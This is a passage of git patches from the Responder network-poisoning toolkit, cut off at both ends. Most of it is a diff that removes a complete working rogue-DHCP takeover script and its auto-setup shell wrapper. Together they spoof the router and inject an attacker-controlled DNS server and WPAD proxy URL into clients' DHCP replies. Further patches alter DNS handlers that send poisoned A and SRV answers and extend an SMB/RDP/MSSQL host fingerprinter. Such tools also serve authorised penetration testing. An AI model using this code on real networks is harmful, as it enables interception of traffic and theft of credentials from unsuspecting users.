your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import sys -if (sys.version_info < (3, 0)): - sys.exit('This script is meant to be run with Python3') -import struct -import optparse -import configparser -import os -import codecs -BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) -sys.path.insert(0, BASEDIR) -from odict import OrderedDict -from utils import * - -parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) -parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") -parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") -parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") -parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") -parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") -parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") -parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD") -parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof") -parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests") -options, args = parser.parse_args() - -def color(txt, code = 1, modifier = 0): - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) - -if options.Interface is None: - print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.") - exit(-1) -elif options.RouterIP is None: - print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.") - exit(-1) -elif options.DNSIP is None: - print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.") - exit(-1) -elif options.DNSIP2 is None: - print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.") - exit(-1) - -#Python version -if (sys.version_info > (3, 0)): - PY2OR3 = "PY3" -else: - PY2OR3 = "PY2" - -def StructWithLenPython2or3(endian,data): - #Python2... - if PY2OR3 == "PY2": - return struct.pack(endian, data) - #Python3... - else: - return struct.pack(endian, data).decode('latin-1') - -def NetworkSendBufferPython2or3(data): - if PY2OR3 == "PY2": - return str(data) - else: - return bytes(str(data), 'latin-1') - -def NetworkRecvBufferPython2or3(data): - if PY2OR3 == "PY2": - return str(data) - else: - return str(data.decode('latin-1')) - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -print('#############################################################################') -print('## DHCP INFORM TAKEOVER 0.3 ##') -print('## ##') -print('## By default, this script will only inject a new DNS/WPAD ##') -print('## server to a Windows <= XP/2003 machine. ##') -print('## ##') -print('## To inject a DNS server/domain/route on a Windows >= Vista and ##') -print('## any linux box, use -R (can be noisy) ##') -print('## ##') -print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##') -print('#############################################################################') -print('') -print(color('[*]', 2, 1), 'Listening for events...') - -config = configparser.ConfigParser() -config.read(os.path.join(BASEDIR,'Responder.conf')) -RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] -DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] -Interface = options.Interface -Responder_IP = FindLocalIP(Interface, None) -ROUTERIP = options.RouterIP -NETMASK = options.Netmask -DHCPSERVER = Responder_IP -DNSIP = options.DNSIP -DNSIP2 = options.DNSIP2 -DNSNAME = options.DNSNAME -WPADSRV = options.WPAD.strip() + "\\n" -Spoof = options.Spoof -Respond_To_Requests = options.Respond_To_Requests - -if Spoof: - DHCPSERVER = ROUTERIP - -##### IP Header ##### -class IPHead(Packet): - fields = OrderedDict([ - ("Version", "\x45"), - ("DiffServices", "\x00"), - ("TotalLen", "\x00\x00"), - ("Ident", "\x00\x00"), - ("Flags", "\x00\x00"), - ("TTL", "\x40"), - ("Protocol", "\x11"), - ("Checksum", "\x00\x00"), - ("SrcIP", ""), - ("DstIP", ""), - ]) - -class UDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x43"), - ("DstPort", "\x00\x44"), - ("Len", "\x00\x00"), - ("Checksum", "\x00\x00"), - ("Data", "\x00\x00"), - ]) - - def calculate(self): - self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8) - -class DHCPACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("DHCPCode", "\x35"), #DHCP Message - ("DHCPCodeLen", "\x01"), - ("DHCPOpCode", "\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op51", "\x33"), - ("Op51Len", "\x04"), - ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server - ("Op255", "\xff"), - ("Padding", "\x00"), - ]) - - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1') - self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') - self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) - -class DHCPInformACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("Op53", "\x35\x01\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server. - ("Op255", "\xff"), - ]) - - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1') - self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') - self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) - -def SpoofIP(Spoof): - return ROUTERIP if Spoof else Responder_IP - -def RespondToThisIP(ClientIp): - if ClientIp.startswith('127.0.0.'): - return False - elif RespondTo and ClientIp not in RespondTo: - return False - elif ClientIp in RespondTo or RespondTo == []: - if ClientIp not in DontRespondTo: - return True - return False - -def ParseSrcDSTAddr(data): - SrcIP = socket.inet_ntoa(data[0][26:30]) - DstIP = socket.inet_ntoa(data[0][30:34]) - SrcPort = struct.unpack('>H',data[0][34:36])[0] - DstPort = struct.unpack('>H',data[0][36:38])[0] - return SrcIP, SrcPort, DstIP, DstPort - -def FindIP(data): - data = data.decode('latin-1') - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]).encode('latin-1') - -def ParseDHCPCode(data): - PTid = data[4:8] - Seconds = data[8:10] - CurrentIP = socket.inet_ntoa(data[12:16]) - RequestedIP = socket.inet_ntoa(data[16:20]) - MacAddr = data[28:34] - MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper() - OpCode = data[242:243] - RequestIP = data[245:249] - - # DHCP Inform - if OpCode == b"\x08": - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP)) - Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'), - GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'), - NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'), - RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'), - ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) - return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) - - elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1')) - Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) - return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) - - elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) - return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) - -def SendDHCP(packet,Host): - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) - s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(NetworkSendBufferPython2or3(packet), Host) - -if __name__ == "__main__": - s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) - s.bind((Interface, 0x0800)) - - while True: - try: - data = s.recvfrom(65535) - if data[0][23:24] == b"\x11": # is udp? - SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) - - if SrcPort == 67 or DstPort == 67: - ret = ParseDHCPCode(data[0][42:]) - if ret: - print(text("[DHCP] %s" % ret)) - - except KeyboardInterrupt: - sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) diff --git a/tools/DHCP_Auto.sh b/tools/DHCP_Auto.sh deleted file mode 100755 index 1b5d1f2..0000000 --- a/tools/DHCP_Auto.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/bin/bash -# This file is part of Responder. laurent.gaffie@gmail.com -# -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - -# This script will try to auto-detect network parameters -# to run the rogue DHCP server, to inject only your IP -# address as the primary DNS server and WPAD server and -# leave everything else normal. - -if [ -z $1 ]; then - echo "usage: $0 " - exit -fi - -if [ $EUID -ne 0 ]; then - echo "Must be run as root." - exit -fi - -if [ ! -d "/sys/class/net/$1" ]; then - echo "Interface does not exist." - exit -fi - -INTF=$1 -PATH="$PATH:/sbin" -IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'` -NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'` -DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'` -DNS1=$IPADDR -DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'` -ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'` -WPADSTR="http://$IPADDR/wpad.dat" -if [ -z "$DOMAIN" ]; then - DOMAIN=" " -fi - -echo "Running with parameters:" -echo "INTERFACE: $INTF" -echo "IP ADDR: $IPADDR" -echo "NETMAST: $NETMASK" -echo "ROUTER IP: $ROUTER" -echo "DNS1 IP: $DNS1" -echo "DNS2 IP: $DNS2" -echo "WPAD: $WPADSTR" -echo "" - - -echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" -python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" From 6e2c77168f1082f54ae9ee29fba4ad47924411a7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 7 Dec 2021 17:59:54 -0300 Subject: [PATCH 106/219] Small fix --- tools/RunFinger.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 3c0efc8..63089d6 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -339,15 +339,15 @@ def ConnectAndChoseSMB(host): s.settimeout(Timeout) try: s.connect(host) + h = SMBHeader(cmd="\x72",flag1="\x00") + n = SMBNego(Data = SMB2NegoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(4096) except: return False - h = SMBHeader(cmd="\x72",flag1="\x00") - n = SMBNego(Data = SMB2NegoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(NetworkSendBufferPython2or3(buffer0)) - data = s.recv(4096) if ParseNegotiateSMB2Ans(data): try: while True: From 17e62bda1aed4884c1f08e514faba8c1e39b36ad Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 7 Dec 2021 19:56:41 -0300 Subject: [PATCH 107/219] Remove analyze mode on DNS since you need to ARP to get queries --- servers/DNS.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) mode change 100644 => 100755 servers/DNS.py diff --git a/servers/DNS.py b/servers/DNS.py old mode 100644 new mode 100755 index 18a3160..528c078 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -39,14 +39,14 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) @@ -65,14 +65,14 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) From 3cd5140c800d8f4e9e8547e4137cafe33fc2f066 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 7 Dec 2021 20:15:17 -0300 Subject: [PATCH 108/219] Fixed the ON/OFF for poisoners when in Analyze mode. --- utils.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/utils.py b/utils.py index 6cae8c4..3646cde 100755 --- a/utils.py +++ b/utils.py @@ -383,9 +383,10 @@ def StartupMessage(): print('') print(color("[+] ", 2, 1) + "Poisoners:") - print(' %-27s' % "LLMNR" + enabled) - print(' %-27s' % "NBT-NS" + enabled) - print(' %-27s' % "DNS/MDNS" + enabled) + print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) + print(' %-27s' % "DNS" + enabled) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print('') From 568048710f0cf5c04c53fd8e026fdd1b3f5c16e6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 Dec 2021 19:57:20 -0300 Subject: [PATCH 109/219] Added a check for MSSQL --- Report.py | 2 +- tools/RunFinger.py | 37 ++++++++++++++++++++++--------------- 2 files changed, 23 insertions(+), 16 deletions(-) diff --git a/Report.py b/Report.py index 6bbfbbe..d5cc054 100755 --- a/Report.py +++ b/Report.py @@ -74,7 +74,7 @@ def GetUniqueDHCP(cursor): def GetRunFinger(cursor): res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)") for row in res.fetchall(): - print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9]))) + print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11]))) def GetStatisticUniqueLookups(cursor): res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 63089d6..7a9cd5f 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -26,7 +26,7 @@ from odict import OrderedDict from socket import * from odict import OrderedDict -__version__ = "1.7" +__version__ = "1.8" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) @@ -44,7 +44,7 @@ if options.TARGET == None and options.Filename == None: Timeout = options.Timeout Host = options.TARGET Filename = options.Filename -SMB1 = "Enabled" +SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" @@ -70,7 +70,7 @@ else: if not os.path.exists(DB): cursor = sqlite3.connect(DB) - cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)') + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') cursor.commit() cursor.close() @@ -131,17 +131,17 @@ def GetOsBuildNumber(data): return ProductBuild def SaveRunFingerToDb(result): - for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn']: + for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']: if not k in result: result[k] = '' cursor = sqlite3.connect(DB) cursor.text_factory = sqlite3.Binary - res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'])) + res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL'])) (count,) = res.fetchone() if not count: - cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'])) + cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL'])) cursor.commit() cursor.close() @@ -160,8 +160,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50]) WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52]) DomainGrab((host, 445)) - RDP = IsRDPOn((host,3389)) - print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1))) + RDP = IsServiceOn((host,3389)) + SQL = IsServiceOn((host,1433)) + print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL))) SaveRunFingerToDb({ 'Protocol': '[SMB2]', 'Host': host, @@ -171,7 +172,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res 'Bootime': Bootime, 'Signing': signing, 'NullSess': 'N/A', - 'IsRDPOn':RDP, + 'IsRDPOn':RDP, + 'SMB1': SMB1, + 'MSSQL': SQL }) def GetBootTime(data): @@ -193,7 +196,7 @@ def IsDCVuln(t, host): Date = datetime.datetime(2017, 3, 14, 0, 30) if t[0] < Date: return("This system may be vulnerable to MS17-010") - return("Last restart: "+t[1]) + return(t[1]) ##################### @@ -253,7 +256,7 @@ def DomainGrab(Host): return GetHostnameAndDomainName(data) except IOError as e: if e.errno == errno.ECONNRESET: - SMB1 = "Disabled" + SMB1 = "False" return False else: return False @@ -392,8 +395,9 @@ def ShowSmallResults(Host): Hostname, DomainJoined = DomainGrab((Host, 445)) Signing, OsVer, LanManClient = SmbFinger((Host, 445)) NullSess = check_smb_null_session((Host, 445)) - RDP = IsRDPOn((Host,3389)) - print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP))) + RDP = IsServiceOn((Host,3389)) + SQL = IsServiceOn((Host,1433)) + print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL))) SaveRunFingerToDb({ 'Protocol': '[SMB1]', 'Host': Host, @@ -403,13 +407,15 @@ def ShowSmallResults(Host): 'Bootime': 'N/A', 'Signing': Signing, 'NullSess': NullSess, - 'IsRDPOn':RDP, + 'IsRDPOn':RDP, + 'SMB1': 'True', + 'MSSQL': SQL }) except: return False -def IsRDPOn(Host): +def IsServiceOn(Host): s = socket(AF_INET, SOCK_STREAM) s.settimeout(Timeout) try: @@ -422,6 +428,7 @@ def IsRDPOn(Host): except Exception as err: return 'False' + def RunFinger(Host): if Filename != None: with open(Filename) as fp: From ba885b9345024809555d1a2c1f8cc463870602bb Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 9 Dec 2021 22:38:44 -0300 Subject: [PATCH 110/219] added the ability to provide external IP on WPAD poison via DHCP --- poisoners/DHCP.py | 2 +- settings.py | 14 ++++++++------ utils.py | 12 ++++++++++++ 3 files changed, 21 insertions(+), 7 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 52c0857..94a18e5 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -79,7 +79,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf')) RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] Interface = settings.Config.Interface -Responder_IP = FindLocalIP(Interface, None) +Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" DNSIP = "0.0.0.0" diff --git a/settings.py b/settings.py index 4dbb031..01a72c6 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.8.0' +__version__ = 'Responder 3.0.9.0' class Settings: @@ -131,11 +131,7 @@ class Settings: self.Verbose = options.Verbose self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) - - if self.ExternalIP: - self.ExternalIPAton = socket.inet_aton(self.ExternalIP) - - self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) if self.Interface == "ALL": self.Bind_To_ALL = True @@ -146,6 +142,12 @@ class Settings: self.IP_aton = socket.inet_aton(self.OURIP) else: self.IP_aton = 